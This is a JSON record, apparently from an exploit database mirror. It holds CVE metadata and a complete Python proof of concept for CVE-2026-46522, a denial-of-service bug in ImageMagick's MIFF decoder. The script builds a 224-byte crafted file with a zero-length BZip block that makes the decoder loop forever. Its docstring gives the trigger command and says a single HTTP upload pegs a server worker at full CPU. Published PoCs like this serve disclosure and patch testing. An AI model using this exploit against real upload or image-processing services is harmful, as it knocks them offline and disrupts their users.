{"exploit":{"id":"EDB-52595","name":"ImageMagick - MIFF Decoder Infinite Loop Denial of Service (DoS)","description":"ImageMagick - MIFF Decoder Infinite Loop Denial of Service (DoS)","cves":["CVE-2026-46522"],"author":"Jose Rivas","published":"2026-05-29","platform":"multiple","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52595","path":"exploits/multiple/local/52595.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52595.py","vulnerabilities":[{"id":"CVE-2026-46522","state":"PUBLISHED","title":"ImageMagick: Infinite Loop in the MIFF decoder can lead to CPU exhaustion","titleSource":"CVE Program","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2.23 and 6.9.13-48, due to a missing check in the MIFF decoder, a crafted file could cause an infinite loop resulting in CPU exhaustion. Versions 7.1.2.23 and 6.9.13-48 fix the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46522","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46522"},"updatedAt":"2026-07-15T00:50:20.693Z","retrievedAt":"2026-11-25T16:15:50.192Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52595.png?v=2","url":"https://exploitbin.com/exploits/EDB-52595","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52595/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52595/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion\n# Google Dork: N/A\n# Date: 2026-05-13\n# Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec\n# Vendor Homepage: https://imagemagick.org/\n# Software Link: https://imagemagick.org/download/\n# Version: ImageMagick 7.x, verified on 7.1.2-3 system\n# CVE : CVE-2026-46522\n# GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5\n\"\"\"\nDescription\n-----------\ncoders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the\nper-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns\nBZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that\nare neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU.\n\nLZMA and Zip branches have the same code shape but their decompressor\nlibraries return BUF_ERROR on empty input, so they bail out.\n\nMinimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU\nuntil killed by a request timeout or by the OS.\n\nUsage\n-----\n    python3 miff_bzip_dos.py [OUTPUT_PATH]\n\nDefault OUTPUT_PATH is /tmp/poc.miff. Then trigger:\n\n    /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\\\\n      timeout 5 magick identify /tmp/poc.miff\n\nExpected output:\n    Command exited with non-zero status 124\n    wall=5.00s user=5.00s cpu=100% exit=124\n\nThe process never finishes on its own. Timeout kills it.\n\"\"\"\n\nimport sys\n\ndef craft_miff(path: str) -> None:\n    header = (\n        b\"id=ImageMagick version=1.0\\n\"\n        b\"class=DirectClass colors=0 alpha-trait=Undefined\\n\"\n        b\"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\\n\"\n        b\"columns=1 rows=1 depth=8\\n\"\n        b\"colorspace=sRGB compression=BZip quality=75\\n\"\n        b\"\\x0c\\n\"          # form feed terminator, then one byte consumed by ReadBlobByte\n    )\n    body = b\"\\x00\\x00\\x00\\x00\"   # 4-byte MSB length=0, triggers the infinite loop\n    with open(path, \"wb\") as f:\n        f.write(header + body)\n    import os\n    print(f\"[+] Wrote {path} ({os.path.getsize(path)} bytes)\")\n    print(f\"[+] Trigger with:\")\n    print(f\"    /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\\\\")\n    print(f\"      timeout 5 magick identify {path}\")\n\nif __name__ == \"__main__\":\n    craft_miff(sys.argv[1] if len(sys.argv) > 1 else \"/tmp/poc.miff\")","sha256":"7e9fcced83fb9f435a49e218130003bb8dae3664458f962d976e5f2e80d7d31d","bytes":2348,"fetchedAt":"2026-11-26T08:59:29.674Z","encoding":"utf-8 (display only; download retains original bytes)"}